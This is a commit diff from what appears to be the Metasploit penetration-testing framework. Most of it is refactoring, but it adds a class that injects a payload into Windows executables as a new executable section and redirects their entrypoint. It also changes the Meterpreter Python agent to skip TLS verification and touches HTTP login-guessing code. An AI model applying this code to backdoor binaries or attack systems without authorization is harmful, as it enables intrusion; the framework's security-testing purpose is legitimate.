Skip to content

Commit 17dc2b1

Browse files
committed
Merging upstream/master
2 parents 24d74b2 + d3d920b commit 17dc2b1

File tree

85 files changed

+3793
-850
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

85 files changed

+3793
-850
lines changed

.gitignore

Lines changed: 1 addition & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -67,17 +67,7 @@ external/source/exploits/**/Release
6767

6868
# Avoid checking in Meterpreter binaries. These are supplied upstream by
6969
# the meterpreter_bins gem.
70-
data/meterpreter/elevator.*.dll
71-
data/meterpreter/ext_server_espia.*.dll
72-
data/meterpreter/ext_server_extapi.*.dll
73-
data/meterpreter/ext_server_incognito.*.dll
74-
data/meterpreter/ext_server_kiwi.*.dll
75-
data/meterpreter/ext_server_lanattacks.*.dll
76-
data/meterpreter/ext_server_mimikatz.*.dll
77-
data/meterpreter/ext_server_priv.*.dll
78-
data/meterpreter/ext_server_stdapi.*.dll
79-
data/meterpreter/metsrv.*.dll
80-
data/meterpreter/screenshot.*.dll
70+
data/meterpreter/*.dll
8171

8272
# Avoid checking in Meterpreter libs that are built from
8373
# private source. If you're interested in this functionality,

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ PATH
99
json
1010
metasploit-concern (~> 0.3.0)
1111
metasploit-model (~> 0.29.0)
12-
meterpreter_bins (= 0.0.16)
12+
meterpreter_bins (= 0.0.17)
1313
msgpack
1414
nokogiri
1515
packetfu (= 1.1.9)
@@ -132,7 +132,7 @@ GEM
132132
pg
133133
railties (< 4.0.0)
134134
recog (~> 1.0)
135-
meterpreter_bins (0.0.16)
135+
meterpreter_bins (0.0.17)
136136
method_source (0.8.2)
137137
mime-types (1.25.1)
138138
mini_portile (0.6.1)

data/meterpreter/meterpreter.py

Lines changed: 11 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -264,7 +264,7 @@ def tlv_pack(*args):
264264
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
265265
else:
266266
value = tlv['value']
267-
if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']):
267+
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
268268
value = value.encode('UTF-8')
269269
elif not is_bytes(value):
270270
value = bytes(value, 'UTF-8')
@@ -393,11 +393,17 @@ def debug_print(self, msg):
393393
print(msg)
394394

395395
def driver_init_http(self):
396+
opener_args = []
397+
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
398+
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
399+
import ssl
400+
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
401+
ssl_ctx.check_hostname=False
402+
ssl_ctx.verify_mode=ssl.CERT_NONE
403+
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
396404
if HTTP_PROXY:
397-
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
398-
opener = urllib.build_opener(proxy_handler)
399-
else:
400-
opener = urllib.build_opener()
405+
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
406+
opener = urllib.build_opener(*opener_args)
401407
if HTTP_USER_AGENT:
402408
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
403409
urllib.install_opener(opener)

lib/metasploit/framework/login_scanner/http.rb

Lines changed: 56 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -187,13 +187,66 @@ def check_setup
187187
error_message
188188
end
189189

190+
# Sends a HTTP request with Rex
191+
#
192+
# @param [Hash] Native support includes the following (also see Rex::Proto::Http::Request#request_cgi)
193+
# @option opts[String] 'host' The remote host
194+
# @option opts[Fixnum] 'port' The remote port
195+
# @option opts[Boolean] 'ssl' The SSL setting, TrueClass or FalseClass
196+
# @option opts[String] 'proxies' The proxies setting
197+
# @option opts[Credential] 'credential' A credential object
198+
# @option opts['Hash'] 'context' A context
199+
# @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
200+
# @return [Rex::Proto::Http::Response] The HTTP response
201+
# @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response)
202+
def send_request(opts)
203+
rhost = opts['host'] || host
204+
rport = opts['rport'] || port
205+
cli_ssl = opts['ssl'] || ssl
206+
cli_ssl_version = opts['ssl_version'] || ssl_version
207+
cli_proxies = opts['proxies'] || proxies
208+
username = opts['credential'] ? opts['credential'].public : ''
209+
password = opts['credential'] ? opts['credential'].private : ''
210+
realm = opts['credential'] ? opts['credential'].realm : nil
211+
context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module}
212+
213+
res = nil
214+
cli = Rex::Proto::Http::Client.new(
215+
rhost,
216+
rport,
217+
context,
218+
cli_ssl,
219+
cli_ssl_version,
220+
cli_proxies,
221+
username,
222+
password
223+
)
224+
configure_http_client(cli)
225+
226+
if realm
227+
cli.set_config('domain' => credential.realm)
228+
end
229+
230+
begin
231+
cli.connect
232+
req = cli.request_cgi(opts)
233+
res = cli.send_recv(req)
234+
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
235+
raise Rex::ConnectionError, e.message
236+
ensure
237+
cli.close
238+
end
239+
240+
res
241+
end
242+
243+
190244
# Attempt a single login with a single credential against the target.
191245
#
192246
# @param credential [Credential] The credential object to attempt to
193247
# login with.
194248
# @return [Result] A Result object indicating success or failure
195249
def attempt_login(credential)
196-
197250
result_opts = {
198251
credential: credential,
199252
status: Metasploit::Model::Login::Status::INCORRECT,
@@ -209,32 +262,13 @@ def attempt_login(credential)
209262
result_opts[:service_name] = 'http'
210263
end
211264

212-
http_client = Rex::Proto::Http::Client.new(
213-
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
214-
proxies, credential.public, credential.private
215-
)
216-
217-
configure_http_client(http_client)
218-
219-
if credential.realm
220-
http_client.set_config('domain' => credential.realm)
221-
end
222-
223265
begin
224-
http_client.connect
225-
request = http_client.request_cgi(
226-
'uri' => uri,
227-
'method' => method
228-
)
229-
230-
response = http_client.send_recv(request)
266+
response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method)
231267
if response && response.code == 200
232268
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
233269
end
234-
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
270+
rescue Rex::ConnectionError => e
235271
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
236-
ensure
237-
http_client.close
238272
end
239273

240274
Result.new(result_opts)

lib/metasploit/framework/login_scanner/symantec_web_gateway.rb

Lines changed: 0 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -27,41 +27,6 @@ def check_setup
2727
end
2828

2929

30-
# Sends a HTTP request with Rex
31-
#
32-
# @param (see Rex::Proto::Http::Request#request_raw)
33-
# @raise [Rex::ConnectionError] Something has gone wrong while sending the HTTP request
34-
# @return [Rex::Proto::Http::Response] The HTTP response
35-
def send_request(opts)
36-
res = nil
37-
cli = Rex::Proto::Http::Client.new(host, port,
38-
{
39-
'Msf' => framework,
40-
'MsfExploit' => framework_module
41-
},
42-
ssl,
43-
ssl_version,
44-
proxies
45-
)
46-
configure_http_client(cli)
47-
begin
48-
cli.connect
49-
req = cli.request_cgi(opts)
50-
res = cli.send_recv(req)
51-
rescue ::Errno::EPIPE, ::Timeout::Error => e
52-
# We are trying to mimic the same type of exception rescuing in
53-
# Msf::Exploit::Remote::HttpClient. But instead of returning nil, we'll consistently
54-
# raise Rex::ConnectionError so the #attempt_login can return the error message back
55-
# to the login module.
56-
raise Rex::ConnectionError, e.message
57-
ensure
58-
cli.close
59-
end
60-
61-
res
62-
end
63-
64-
6530
# Returns the latest sid from Symantec Web Gateway.
6631
#
6732
# @returns [String] The PHP Session ID for Symantec Web Gateway login

lib/metasploit/framework/spec/untested_payloads.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ def self.define_task
4444
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
4545

4646
if untested_payloads_pathname.exist?
47-
tool_path = 'tools/missing-payload-tests.rb'
47+
tool_path = 'tools/missing_payload_tests.rb'
4848

4949
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
5050
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."

lib/msf/core/exe/segment_appender.rb

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
# -*- coding: binary -*-
2+
module Msf
3+
module Exe
4+
5+
require 'metasm'
6+
require 'msf/core/exe/segment_injector'
7+
8+
class SegmentAppender < SegmentInjector
9+
10+
def payload_stub(prefix)
11+
# TODO: Implement possibly helpful payload obfuscation
12+
asm = "new_entrypoint:\n#{prefix}\n"
13+
shellcode = Metasm::Shellcode.assemble(processor, asm)
14+
shellcode.encoded + @payload
15+
end
16+
17+
def generate_pe
18+
# Copy our Template into a new PE
19+
pe_orig = Metasm::PE.decode_file(template)
20+
pe = pe_orig.mini_copy
21+
22+
# Copy the headers and exports
23+
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
24+
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
25+
pe.header.time = pe_orig.header.time
26+
27+
# Don't rebase if we can help it since Metasm doesn't do relocations well
28+
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
29+
30+
# TODO: Look at supporting DLLs in the future
31+
prefix = ''
32+
33+
# Create a new section
34+
s = Metasm::PE::Section.new
35+
s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
36+
s.encoded = payload_stub prefix
37+
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
38+
39+
pe.sections << s
40+
pe.invalidate_header
41+
42+
# Change the entrypoint to our new section
43+
pe.optheader.entrypoint = 'new_entrypoint'
44+
pe.cpu = pe_orig.cpu
45+
46+
pe.encode_string
47+
end
48+
49+
end
50+
end
51+
end

lib/msf/core/exe/segment_injector.rb

Lines changed: 1 addition & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -59,20 +59,11 @@ def create_thread_stub
5959
EOS
6060
end
6161

62-
def payload_as_asm
63-
asm = ''
64-
@payload.each_byte do |byte|
65-
asm << "db " + sprintf("0x%02x", byte) + "\n"
66-
end
67-
return asm
68-
end
69-
7062
def payload_stub(prefix)
7163
asm = "hook_entrypoint:\n#{prefix}\n"
7264
asm << create_thread_stub
73-
asm << payload_as_asm
7465
shellcode = Metasm::Shellcode.assemble(processor, asm)
75-
shellcode.encoded
66+
shellcode.encoded + @payload
7667
end
7768

7869
def generate_pe

0 commit comments

Comments
 (0)